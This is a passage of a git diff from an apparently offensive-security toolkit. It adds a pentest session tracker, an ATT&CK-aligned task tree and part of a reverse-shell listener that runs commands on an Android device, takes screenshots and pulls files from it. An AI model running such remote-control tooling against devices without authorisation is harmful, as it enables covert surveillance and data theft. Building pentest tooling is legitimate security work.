||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class PentestSession:
|
||||||
|
"""Manages a single penetration testing session."""
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def _get_dir(cls):
|
||||||
|
from core.paths import get_data_dir
|
||||||
|
d = get_data_dir() / "pentest_sessions"
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
def __init__(self, target: str, session_id: str = None):
|
||||||
|
self.session_id = session_id or self._generate_id(target)
|
||||||
|
self.target = target
|
||||||
|
self.state = PentestSessionState.IDLE
|
||||||
|
self.tree = PentestTree(target)
|
||||||
|
self.events: List[SessionEvent] = []
|
||||||
|
self.findings: List[Dict[str, Any]] = []
|
||||||
|
self.pipeline_history: List[dict] = []
|
||||||
|
self.notes: str = ""
|
||||||
|
self.step_count: int = 0
|
||||||
|
now = datetime.now().isoformat()
|
||||||
|
self.created_at = now
|
||||||
|
self.updated_at = now
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _generate_id(target: str) -> str:
|
||||||
|
"""Generate a session ID from target and timestamp."""
|
||||||
|
safe = re.sub(r'[^a-zA-Z0-9]', '_', target)[:30]
|
||||||
|
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||||
|
return f"{safe}_{ts}"
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""Initialize a new session."""
|
||||||
|
self.state = PentestSessionState.RUNNING
|
||||||
|
self.tree.initialize_standard_branches()
|
||||||
|
self.log_event('state_change', {'from': 'idle', 'to': 'running'})
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def pause(self):
|
||||||
|
"""Pause the session and save state."""
|
||||||
|
prev = self.state.value
|
||||||
|
self.state = PentestSessionState.PAUSED
|
||||||
|
self.log_event('state_change', {'from': prev, 'to': 'paused'})
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def resume(self):
|
||||||
|
"""Resume a paused session."""
|
||||||
|
prev = self.state.value
|
||||||
|
self.state = PentestSessionState.RUNNING
|
||||||
|
self.log_event('state_change', {'from': prev, 'to': 'running'})
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def complete(self, summary: str = ""):
|
||||||
|
"""Mark session as completed."""
|
||||||
|
prev = self.state.value
|
||||||
|
self.state = PentestSessionState.COMPLETED
|
||||||
|
self.log_event('state_change', {
|
||||||
|
'from': prev,
|
||||||
|
'to': 'completed',
|
||||||
|
'summary': summary,
|
||||||
|
})
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def set_error(self, error_msg: str):
|
||||||
|
"""Mark session as errored."""
|
||||||
|
prev = self.state.value
|
||||||
|
self.state = PentestSessionState.ERROR
|
||||||
|
self.log_event('state_change', {
|
||||||
|
'from': prev,
|
||||||
|
'to': 'error',
|
||||||
|
'error': error_msg,
|
||||||
|
})
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def log_event(self, event_type: str, data: dict):
|
||||||
|
"""Log an event to the session timeline."""
|
||||||
|
event = SessionEvent(
|
||||||
|
timestamp=datetime.now().isoformat(),
|
||||||
|
event_type=event_type,
|
||||||
|
data=data,
|
||||||
|
)
|
||||||
|
self.events.append(event)
|
||||||
|
self.updated_at = event.timestamp
|
||||||
|
|
||||||
|
def log_pipeline_result(self, parsed: str, reasoning: str, actions: list):
|
||||||
|
"""Log a pipeline execution cycle."""
|
||||||
|
self.pipeline_history.append({
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'step': self.step_count,
|
||||||
|
'parsed_input': parsed,
|
||||||
|
'reasoning': reasoning,
|
||||||
|
'generated_actions': actions,
|
||||||
|
})
|
||||||
|
self.step_count += 1
|
||||||
|
|
||||||
|
def add_finding(self, title: str, description: str,
|
||||||
|
severity: str = "medium", node_id: str = None):
|
||||||
|
"""Add a key finding."""
|
||||||
|
self.findings.append({
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'severity': severity,
|
||||||
|
'title': title,
|
||||||
|
'description': description,
|
||||||
|
'node_id': node_id,
|
||||||
|
})
|
||||||
|
|
||||||
|
def save(self) -> str:
|
||||||
|
"""Save session to JSON file. Returns filepath."""
|
||||||
|
self._get_dir().mkdir(parents=True, exist_ok=True)
|
||||||
|
filepath = self._get_dir() / f"{self.session_id}.json"
|
||||||
|
|
||||||
|
data = {
|
||||||
|
'session_id': self.session_id,
|
||||||
|
'target': self.target,
|
||||||
|
'state': self.state.value,
|
||||||
|
'created_at': self.created_at,
|
||||||
|
'updated_at': self.updated_at,
|
||||||
|
'notes': self.notes,
|
||||||
|
'step_count': self.step_count,
|
||||||
|
'tree': self.tree.to_dict(),
|
||||||
|
'events': [e.to_dict() for e in self.events],
|
||||||
|
'findings': self.findings,
|
||||||
|
'pipeline_history': self.pipeline_history,
|
||||||
|
}
|
||||||
|
|
||||||
|
with open(filepath, 'w') as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
|
||||||
|
return str(filepath)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def load_session(cls, session_id: str) -> 'PentestSession':
|
||||||
|
"""Load a session from file."""
|
||||||
|
filepath = cls._get_dir() / f"{session_id}.json"
|
||||||
|
if not filepath.exists():
|
||||||
|
raise FileNotFoundError(f"Session not found: {session_id}")
|
||||||
|
|
||||||
|
with open(filepath, 'r') as f:
|
||||||
|
data = json.load(f)
|
||||||
|
|
||||||
|
session = cls(target=data['target'], session_id=data['session_id'])
|
||||||
|
session.state = PentestSessionState(data['state'])
|
||||||
|
session.created_at = data['created_at']
|
||||||
|
session.updated_at = data['updated_at']
|
||||||
|
session.notes = data.get('notes', '')
|
||||||
|
session.step_count = data.get('step_count', 0)
|
||||||
|
session.tree = PentestTree.from_dict(data['tree'])
|
||||||
|
session.events = [SessionEvent.from_dict(e) for e in data.get('events', [])]
|
||||||
|
session.findings = data.get('findings', [])
|
||||||
|
session.pipeline_history = data.get('pipeline_history', [])
|
||||||
|
return session
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def list_sessions(cls) -> List[Dict[str, Any]]:
|
||||||
|
"""List all saved sessions with summary info."""
|
||||||
|
cls._get_dir().mkdir(parents=True, exist_ok=True)
|
||||||
|
sessions = []
|
||||||
|
for f in sorted(cls._get_dir().glob("*.json"), key=lambda p: p.stat().st_mtime, reverse=True):
|
||||||
|
try:
|
||||||
|
with open(f, 'r') as fh:
|
||||||
|
data = json.load(fh)
|
||||||
|
stats = {}
|
||||||
|
if 'tree' in data and 'nodes' in data['tree']:
|
||||||
|
nodes = data['tree']['nodes']
|
||||||
|
stats = {
|
||||||
|
'total': len(nodes),
|
||||||
|
'todo': sum(1 for n in nodes.values() if n.get('status') == 'todo'),
|
||||||
|
'completed': sum(1 for n in nodes.values() if n.get('status') == 'completed'),
|
||||||
|
}
|
||||||
|
sessions.append({
|
||||||
|
'session_id': data['session_id'],
|
||||||
|
'target': data['target'],
|
||||||
|
'state': data['state'],
|
||||||
|
'created': data['created_at'],
|
||||||
|
'updated': data['updated_at'],
|
||||||
|
'steps': data.get('step_count', 0),
|
||||||
|
'findings': len(data.get('findings', [])),
|
||||||
|
'tree_stats': stats,
|
||||||
|
})
|
||||||
|
except (json.JSONDecodeError, KeyError):
|
||||||
|
continue
|
||||||
|
return sessions
|
||||||
|
|
||||||
|
def delete(self) -> bool:
|
||||||
|
"""Delete this session's file."""
|
||||||
|
filepath = self._get_dir() / f"{self.session_id}.json"
|
||||||
|
if filepath.exists():
|
||||||
|
filepath.unlink()
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def export_report(self) -> str:
|
||||||
|
"""Generate a text summary report of the session."""
|
||||||
|
stats = self.tree.get_stats()
|
||||||
|
lines = [
|
||||||
|
"=" * 60,
|
||||||
|
"AUTARCH Pentest Session Report",
|
||||||
|
"=" * 60,
|
||||||
|
f"Target: {self.target}",
|
||||||
|
f"Session: {self.session_id}",
|
||||||
|
f"State: {self.state.value}",
|
||||||
|
f"Started: {self.created_at}",
|
||||||
|
f"Updated: {self.updated_at}",
|
||||||
|
f"Steps: {self.step_count}",
|
||||||
|
"",
|
||||||
|
"--- Task Tree ---",
|
||||||
|
f"Total nodes: {stats['total']}",
|
||||||
|
f" Completed: {stats.get('completed', 0)}",
|
||||||
|
f" Todo: {stats.get('todo', 0)}",
|
||||||
|
f" Active: {stats.get('in_progress', 0)}",
|
||||||
|
f" N/A: {stats.get('not_applicable', 0)}",
|
||||||
|
"",
|
||||||
|
self.tree.render_text(),
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
|
||||||
|
if self.findings:
|
||||||
|
lines.append("--- Findings ---")
|
||||||
|
for i, f in enumerate(self.findings, 1):
|
||||||
|
sev = f.get('severity', 'medium').upper()
|
||||||
|
lines.append(f" [{i}] [{sev}] {f['title']}")
|
||||||
|
lines.append(f" {f['description']}")
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
if self.notes:
|
||||||
|
lines.append("--- Notes ---")
|
||||||
|
lines.append(self.notes)
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
lines.append("=" * 60)
|
||||||
|
return "\n".join(lines)
|
||||||
350
core/pentest_tree.py
Normal file
350
core/pentest_tree.py
Normal file
@ -0,0 +1,350 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Penetration Testing Tree (PTT)
|
||||||
|
Hierarchical task tracker for structured penetration testing workflows.
|
||||||
|
Based on PentestGPT's USENIX paper methodology.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import uuid
|
||||||
|
from enum import Enum
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from datetime import datetime
|
||||||
|
from typing import Optional, List, Dict, Any
|
||||||
|
|
||||||
|
|
||||||
|
class NodeStatus(Enum):
|
||||||
|
TODO = "todo"
|
||||||
|
IN_PROGRESS = "in_progress"
|
||||||
|
COMPLETED = "completed"
|
||||||
|
NOT_APPLICABLE = "not_applicable"
|
||||||
|
|
||||||
|
|
||||||
|
class PTTNodeType(Enum):
|
||||||
|
RECONNAISSANCE = "reconnaissance"
|
||||||
|
INITIAL_ACCESS = "initial_access"
|
||||||
|
PRIVILEGE_ESCALATION = "privilege_escalation"
|
||||||
|
LATERAL_MOVEMENT = "lateral_movement"
|
||||||
|
PERSISTENCE = "persistence"
|
||||||
|
CREDENTIAL_ACCESS = "credential_access"
|
||||||
|
EXFILTRATION = "exfiltration"
|
||||||
|
CUSTOM = "custom"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class PTTNode:
|
||||||
|
"""A single node in the Penetration Testing Tree."""
|
||||||
|
id: str
|
||||||
|
label: str
|
||||||
|
node_type: PTTNodeType
|
||||||
|
status: NodeStatus = NodeStatus.TODO
|
||||||
|
parent_id: Optional[str] = None
|
||||||
|
children: List[str] = field(default_factory=list)
|
||||||
|
details: str = ""
|
||||||
|
tool_output: Optional[str] = None
|
||||||
|
findings: List[str] = field(default_factory=list)
|
||||||
|
priority: int = 3
|
||||||
|
created_at: str = ""
|
||||||
|
updated_at: str = ""
|
||||||
|
|
||||||
|
def __post_init__(self):
|
||||||
|
now = datetime.now().isoformat()
|
||||||
|
if not self.created_at:
|
||||||
|
self.created_at = now
|
||||||
|
if not self.updated_at:
|
||||||
|
self.updated_at = now
|
||||||
|
|
||||||
|
def to_dict(self) -> dict:
|
||||||
|
return {
|
||||||
|
'id': self.id,
|
||||||
|
'label': self.label,
|
||||||
|
'node_type': self.node_type.value,
|
||||||
|
'status': self.status.value,
|
||||||
|
'parent_id': self.parent_id,
|
||||||
|
'children': self.children.copy(),
|
||||||
|
'details': self.details,
|
||||||
|
'tool_output': self.tool_output,
|
||||||
|
'findings': self.findings.copy(),
|
||||||
|
'priority': self.priority,
|
||||||
|
'created_at': self.created_at,
|
||||||
|
'updated_at': self.updated_at,
|
||||||
|
}
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_dict(cls, data: dict) -> 'PTTNode':
|
||||||
|
return cls(
|
||||||
|
id=data['id'],
|
||||||
|
label=data['label'],
|
||||||
|
node_type=PTTNodeType(data['node_type']),
|
||||||
|
status=NodeStatus(data['status']),
|
||||||
|
parent_id=data.get('parent_id'),
|
||||||
|
children=data.get('children', []),
|
||||||
|
details=data.get('details', ''),
|
||||||
|
tool_output=data.get('tool_output'),
|
||||||
|
findings=data.get('findings', []),
|
||||||
|
priority=data.get('priority', 3),
|
||||||
|
created_at=data.get('created_at', ''),
|
||||||
|
updated_at=data.get('updated_at', ''),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Status display symbols
|
||||||
|
_STATUS_SYMBOLS = {
|
||||||
|
NodeStatus.TODO: '[ ]',
|
||||||
|
NodeStatus.IN_PROGRESS: '[~]',
|
||||||
|
NodeStatus.COMPLETED: '[x]',
|
||||||
|
NodeStatus.NOT_APPLICABLE: '[-]',
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class PentestTree:
|
||||||
|
"""Penetration Testing Tree - hierarchical task tracker."""
|
||||||
|
|
||||||
|
def __init__(self, target: str):
|
||||||
|
self.target = target
|
||||||
|
self.nodes: Dict[str, PTTNode] = {}
|
||||||
|
self.root_nodes: List[str] = []
|
||||||
|
now = datetime.now().isoformat()
|
||||||
|
self.created_at = now
|
||||||
|
self.updated_at = now
|
||||||
|
|
||||||
|
def add_node(
|
||||||
|
self,
|
||||||
|
label: str,
|
||||||
|
node_type: PTTNodeType,
|
||||||
|
parent_id: Optional[str] = None,
|
||||||
|
details: str = "",
|
||||||
|
priority: int = 3,
|
||||||
|
status: NodeStatus = NodeStatus.TODO,
|
||||||
|
) -> str:
|
||||||
|
"""Add a node to the tree. Returns the new node's ID."""
|
||||||
|
node_id = str(uuid.uuid4())[:8]
|
||||||
|
node = PTTNode(
|
||||||
|
id=node_id,
|
||||||
|
label=label,
|
||||||
|
node_type=node_type,
|
||||||
|
status=status,
|
||||||
|
parent_id=parent_id,
|
||||||
|
details=details,
|
||||||
|
priority=priority,
|
||||||
|
)
|
||||||
|
|
||||||
|
self.nodes[node_id] = node
|
||||||
|
|
||||||
|
if parent_id and parent_id in self.nodes:
|
||||||
|
self.nodes[parent_id].children.append(node_id)
|
||||||
|
elif parent_id is None:
|
||||||
|
self.root_nodes.append(node_id)
|
||||||
|
|
||||||
|
self.updated_at = datetime.now().isoformat()
|
||||||
|
return node_id
|
||||||
|
|
||||||
|
def update_node(
|
||||||
|
self,
|
||||||
|
node_id: str,
|
||||||
|
status: Optional[NodeStatus] = None,
|
||||||
|
details: Optional[str] = None,
|
||||||
|
tool_output: Optional[str] = None,
|
||||||
|
findings: Optional[List[str]] = None,
|
||||||
|
priority: Optional[int] = None,
|
||||||
|
label: Optional[str] = None,
|
||||||
|
) -> bool:
|
||||||
|
"""Update a node's properties. Returns True if found and updated."""
|
||||||
|
node = self.nodes.get(node_id)
|
||||||
|
if not node:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if status is not None:
|
||||||
|
node.status = status
|
||||||
|
if details is not None:
|
||||||
|
node.details = details
|
||||||
|
if tool_output is not None:
|
||||||
|
node.tool_output = tool_output
|
||||||
|
if findings is not None:
|
||||||
|
node.findings.extend(findings)
|
||||||
|
if priority is not None:
|
||||||
|
node.priority = priority
|
||||||
|
if label is not None:
|
||||||
|
node.label = label
|
||||||
|
|
||||||
|
node.updated_at = datetime.now().isoformat()
|
||||||
|
self.updated_at = node.updated_at
|
||||||
|
return True
|
||||||
|
|
||||||
|
def delete_node(self, node_id: str) -> bool:
|
||||||
|
"""Delete a node and all its children recursively."""
|
||||||
|
node = self.nodes.get(node_id)
|
||||||
|
if not node:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Recursively delete children
|
||||||
|
for child_id in node.children.copy():
|
||||||
|
self.delete_node(child_id)
|
||||||
|
|
||||||
|
# Remove from parent's children list
|
||||||
|
if node.parent_id and node.parent_id in self.nodes:
|
||||||
|
parent = self.nodes[node.parent_id]
|
||||||
|
if node_id in parent.children:
|
||||||
|
parent.children.remove(node_id)
|
||||||
|
|
||||||
|
# Remove from root nodes if applicable
|
||||||
|
if node_id in self.root_nodes:
|
||||||
|
self.root_nodes.remove(node_id)
|
||||||
|
|
||||||
|
del self.nodes[node_id]
|
||||||
|
self.updated_at = datetime.now().isoformat()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_node(self, node_id: str) -> Optional[PTTNode]:
|
||||||
|
return self.nodes.get(node_id)
|
||||||
|
|
||||||
|
def get_next_todo(self) -> Optional[PTTNode]:
|
||||||
|
"""Get the highest priority TODO node."""
|
||||||
|
todos = [n for n in self.nodes.values() if n.status == NodeStatus.TODO]
|
||||||
|
if not todos:
|
||||||
|
return None
|
||||||
|
return min(todos, key=lambda n: n.priority)
|
||||||
|
|
||||||
|
def get_all_by_status(self, status: NodeStatus) -> List[PTTNode]:
|
||||||
|
return [n for n in self.nodes.values() if n.status == status]
|
||||||
|
|
||||||
|
def get_subtree(self, node_id: str) -> List[PTTNode]:
|
||||||
|
"""Get all nodes in a subtree (including the root)."""
|
||||||
|
node = self.nodes.get(node_id)
|
||||||
|
if not node:
|
||||||
|
return []
|
||||||
|
result = [node]
|
||||||
|
for child_id in node.children:
|
||||||
|
result.extend(self.get_subtree(child_id))
|
||||||
|
return result
|
||||||
|
|
||||||
|
def find_node_by_label(self, label: str) -> Optional[PTTNode]:
|
||||||
|
"""Find a node by label (case-insensitive partial match)."""
|
||||||
|
label_lower = label.lower()
|
||||||
|
for node in self.nodes.values():
|
||||||
|
if label_lower in node.label.lower():
|
||||||
|
return node
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_stats(self) -> Dict[str, int]:
|
||||||
|
"""Get tree statistics."""
|
||||||
|
stats = {'total': len(self.nodes)}
|
||||||
|
for status in NodeStatus:
|
||||||
|
stats[status.value] = len(self.get_all_by_status(status))
|
||||||
|
return stats
|
||||||
|
|
||||||
|
def render_text(self) -> str:
|
||||||
|
"""Render full tree as indented text for terminal display."""
|
||||||
|
if not self.root_nodes:
|
||||||
|
return " (empty tree)"
|
||||||
|
|
||||||
|
lines = [f"Target: {self.target}"]
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
for root_id in self.root_nodes:
|
||||||
|
self._render_node(root_id, lines, indent=0)
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
def _render_node(self, node_id: str, lines: List[str], indent: int):
|
||||||
|
node = self.nodes.get(node_id)
|
||||||
|
if not node:
|
||||||
|
return
|
||||||
|
|
||||||
|
prefix = " " * indent
|
||||||
|
symbol = _STATUS_SYMBOLS.get(node.status, '[ ]')
|
||||||
|
priority_str = f" P{node.priority}" if node.priority != 3 else ""
|
||||||
|
lines.append(f"{prefix}{symbol} {node.label}{priority_str}")
|
||||||
|
|
||||||
|
if node.findings:
|
||||||
|
for finding in node.findings[:3]:
|
||||||
|
lines.append(f"{prefix} -> {finding}")
|
||||||
|
|
||||||
|
for child_id in node.children:
|
||||||
|
self._render_node(child_id, lines, indent + 1)
|
||||||
|
|
||||||
|
def render_summary(self) -> str:
|
||||||
|
"""Render compact summary for LLM context injection.
|
||||||
|
Designed to fit within tight token budgets (4096 ctx).
|
||||||
|
Only shows TODO and IN_PROGRESS nodes with minimal detail.
|
||||||
|
"""
|
||||||
|
stats = self.get_stats()
|
||||||
|
lines = [
|
||||||
|
f"Target: {self.target}",
|
||||||
|
f"Nodes: {stats['total']} total, {stats['todo']} todo, "
|
||||||
|
f"{stats['completed']} done, {stats['in_progress']} active",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Show active and todo nodes only
|
||||||
|
active = self.get_all_by_status(NodeStatus.IN_PROGRESS)
|
||||||
|
todos = sorted(
|
||||||
|
self.get_all_by_status(NodeStatus.TODO),
|
||||||
|
key=lambda n: n.priority
|
||||||
|
)
|
||||||
|
|
||||||
|
if active:
|
||||||
|
lines.append("Active:")
|
||||||
|
for n in active:
|
||||||
|
lines.append(f" [{n.id}] {n.label}")
|
||||||
|
|
||||||
|
if todos:
|
||||||
|
lines.append("Todo:")
|
||||||
|
for n in todos[:5]:
|
||||||
|
lines.append(f" [{n.id}] P{n.priority} {n.label}")
|
||||||
|
if len(todos) > 5:
|
||||||
|
lines.append(f" ... and {len(todos) - 5} more")
|
||||||
|
|
||||||
|
# Show recent findings (last 5)
|
||||||
|
all_findings = []
|
||||||
|
for node in self.nodes.values():
|
||||||
|
if node.findings:
|
||||||
|
for f in node.findings:
|
||||||
|
all_findings.append(f)
|
||||||
|
if all_findings:
|
||||||
|
lines.append("Key findings:")
|
||||||
|
for f in all_findings[-5:]:
|
||||||
|
lines.append(f" - {f}")
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
def initialize_standard_branches(self):
|
||||||
|
"""Create standard MITRE ATT&CK-aligned top-level branches."""
|
||||||
|
branches = [
|
||||||
|
("Reconnaissance", PTTNodeType.RECONNAISSANCE, 1,
|
||||||
|
"Information gathering and target enumeration"),
|
||||||
|
("Initial Access", PTTNodeType.INITIAL_ACCESS, 2,
|
||||||
|
"Gaining initial foothold on target"),
|
||||||
|
("Privilege Escalation", PTTNodeType.PRIVILEGE_ESCALATION, 3,
|
||||||
|
"Escalating from initial access to higher privileges"),
|
||||||
|
("Lateral Movement", PTTNodeType.LATERAL_MOVEMENT, 4,
|
||||||
|
"Moving to other systems in the network"),
|
||||||
|
("Credential Access", PTTNodeType.CREDENTIAL_ACCESS, 3,
|
||||||
|
"Obtaining credentials and secrets"),
|
||||||
|
("Persistence", PTTNodeType.PERSISTENCE, 5,
|
||||||
|
"Maintaining access to compromised systems"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for label, ntype, priority, details in branches:
|
||||||
|
self.add_node(
|
||||||
|
label=label,
|
||||||
|
node_type=ntype,
|
||||||
|
priority=priority,
|
||||||
|
details=details,
|
||||||
|
)
|
||||||
|
|
||||||
|
def to_dict(self) -> dict:
|
||||||
|
return {
|
||||||
|
'target': self.target,
|
||||||
|
'created_at': self.created_at,
|
||||||
|
'updated_at': self.updated_at,
|
||||||
|
'root_nodes': self.root_nodes.copy(),
|
||||||
|
'nodes': {nid: n.to_dict() for nid, n in self.nodes.items()},
|
||||||
|
}
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_dict(cls, data: dict) -> 'PentestTree':
|
||||||
|
tree = cls(target=data['target'])
|
||||||
|
tree.created_at = data.get('created_at', '')
|
||||||
|
tree.updated_at = data.get('updated_at', '')
|
||||||
|
tree.root_nodes = data.get('root_nodes', [])
|
||||||
|
for nid, ndata in data.get('nodes', {}).items():
|
||||||
|
tree.nodes[nid] = PTTNode.from_dict(ndata)
|
||||||
|
return tree
|
||||||
1137
core/report_generator.py
Normal file
1137
core/report_generator.py
Normal file
File diff suppressed because it is too large
Load Diff
493
core/revshell.py
Normal file
493
core/revshell.py
Normal file
@ -0,0 +1,493 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Reverse Shell Listener
|
||||||
|
Accepts incoming reverse shell connections from the Archon Android companion app.
|
||||||
|
|
||||||
|
Protocol: JSON over TCP, newline-delimited. Matches ArchonShell.java.
|
||||||
|
|
||||||
|
Auth handshake:
|
||||||
|
Client → Server: {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
|
||||||
|
Server → Client: {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
|
||||||
|
|
||||||
|
Command flow:
|
||||||
|
Server → Client: {"type":"cmd","cmd":"ls","timeout":30,"id":"abc"}
|
||||||
|
Client → Server: {"type":"result","id":"abc","stdout":"...","stderr":"...","exit_code":0}
|
||||||
|
|
||||||
|
Special commands: __sysinfo__, __packages__, __screenshot__, __download__, __upload__,
|
||||||
|
__processes__, __netstat__, __dumplog__, __disconnect__
|
||||||
|
"""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
from datetime import datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, Dict, List, Any, Tuple
|
||||||
|
|
||||||
|
from core.paths import get_data_dir
|
||||||
|
|
||||||
|
logger = logging.getLogger('autarch.revshell')
|
||||||
|
|
||||||
|
|
||||||
|
class RevShellSession:
|
||||||
|
"""Active reverse shell session with an Archon device."""
|
||||||
|
|
||||||
|
def __init__(self, sock: socket.socket, device_info: dict, session_id: str):
|
||||||
|
self.socket = sock
|
||||||
|
self.device_info = device_info
|
||||||
|
self.session_id = session_id
|
||||||
|
self.connected_at = datetime.now()
|
||||||
|
self.command_log: List[dict] = []
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._reader = sock.makefile('r', encoding='utf-8', errors='replace')
|
||||||
|
self._writer = sock.makefile('w', encoding='utf-8', errors='replace')
|
||||||
|
self._alive = True
|
||||||
|
self._cmd_counter = 0
|
||||||
|
|
||||||
|
@property
|
||||||
|
def alive(self) -> bool:
|
||||||
|
return self._alive
|
||||||
|
|
||||||
|
@property
|
||||||
|
def device_name(self) -> str:
|
||||||
|
return self.device_info.get('device', 'unknown')
|
||||||
|
|
||||||
|
@property
|
||||||
|
def android_version(self) -> str:
|
||||||
|
return self.device_info.get('android', '?')
|
||||||
|
|
||||||
|
@property
|
||||||
|
def uid(self) -> int:
|
||||||
|
return self.device_info.get('uid', -1)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def uptime(self) -> float:
|
||||||
|
return (datetime.now() - self.connected_at).total_seconds()
|
||||||
|
|
||||||
|
def execute(self, command: str, timeout: int = 30) -> dict:
|
||||||
|
"""Send a command and wait for result. Returns {stdout, stderr, exit_code}."""
|
||||||
|
with self._lock:
|
||||||
|
if not self._alive:
|
||||||
|
return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1}
|
||||||
|
|
||||||
|
self._cmd_counter += 1
|
||||||
|
cmd_id = f"cmd_{self._cmd_counter}"
|
||||||
|
|
||||||
|
msg = json.dumps({
|
||||||
|
'type': 'cmd',
|
||||||
|
'cmd': command,
|
||||||
|
'timeout': timeout,
|
||||||
|
'id': cmd_id
|
||||||
|
})
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._writer.write(msg + '\n')
|
||||||
|
self._writer.flush()
|
||||||
|
|
||||||
|
# Read response (with extended timeout for command execution)
|
||||||
|
self.socket.settimeout(timeout + 10)
|
||||||
|
response_line = self._reader.readline()
|
||||||
|
if not response_line:
|
||||||
|
self._alive = False
|
||||||
|
return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1}
|
||||||
|
|
||||||
|
result = json.loads(response_line)
|
||||||
|
|
||||||
|
# Log command
|
||||||
|
self.command_log.append({
|
||||||
|
'time': datetime.now().isoformat(),
|
||||||
|
'cmd': command,
|
||||||
|
'exit_code': result.get('exit_code', -1)
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
'stdout': result.get('stdout', ''),
|
||||||
|
'stderr': result.get('stderr', ''),
|
||||||
|
'exit_code': result.get('exit_code', -1)
|
||||||
|
}
|
||||||
|
|
||||||
|
except (socket.timeout, OSError, json.JSONDecodeError) as e:
|
||||||
|
logger.error(f"Session {self.session_id}: execute error: {e}")
|
||||||
|
self._alive = False
|
||||||
|
return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1}
|
||||||
|
|
||||||
|
def execute_special(self, command: str, **kwargs) -> dict:
|
||||||
|
"""Execute a special command with extra parameters."""
|
||||||
|
with self._lock:
|
||||||
|
if not self._alive:
|
||||||
|
return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1}
|
||||||
|
|
||||||
|
self._cmd_counter += 1
|
||||||
|
cmd_id = f"cmd_{self._cmd_counter}"
|
||||||
|
|
||||||
|
msg = {'type': 'cmd', 'cmd': command, 'id': cmd_id, 'timeout': 60}
|
||||||
|
msg.update(kwargs)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._writer.write(json.dumps(msg) + '\n')
|
||||||
|
self._writer.flush()
|
||||||
|
|
||||||
|
self.socket.settimeout(70)
|
||||||
|
response_line = self._reader.readline()
|
||||||
|
if not response_line:
|
||||||
|
self._alive = False
|
||||||
|
return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1}
|
||||||
|
|
||||||
|
return json.loads(response_line)
|
||||||
|
|
||||||
|
except (socket.timeout, OSError, json.JSONDecodeError) as e:
|
||||||
|
logger.error(f"Session {self.session_id}: special cmd error: {e}")
|
||||||
|
self._alive = False
|
||||||
|
return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1}
|
||||||
|
|
||||||
|
def sysinfo(self) -> dict:
|
||||||
|
"""Get device system information."""
|
||||||
|
return self.execute('__sysinfo__')
|
||||||
|
|
||||||
|
def packages(self) -> dict:
|
||||||
|
"""List installed packages."""
|
||||||
|
return self.execute('__packages__', timeout=30)
|
||||||
|
|
||||||
|
def screenshot(self) -> Optional[bytes]:
|
||||||
|
"""Capture screenshot. Returns PNG bytes or None."""
|
||||||
|
result = self.execute('__screenshot__', timeout=30)
|
||||||
|
if result['exit_code'] != 0:
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
return base64.b64decode(result['stdout'])
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def download(self, remote_path: str) -> Optional[Tuple[bytes, str]]:
|
||||||
|
"""Download file from device. Returns (data, filename) or None."""
|
||||||
|
result = self.execute_special('__download__', path=remote_path)
|
||||||
|
if result.get('exit_code', -1) != 0:
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
data = base64.b64decode(result.get('stdout', ''))
|
||||||
|
filename = result.get('filename', os.path.basename(remote_path))
|
||||||
|
return (data, filename)
|
||||||
|
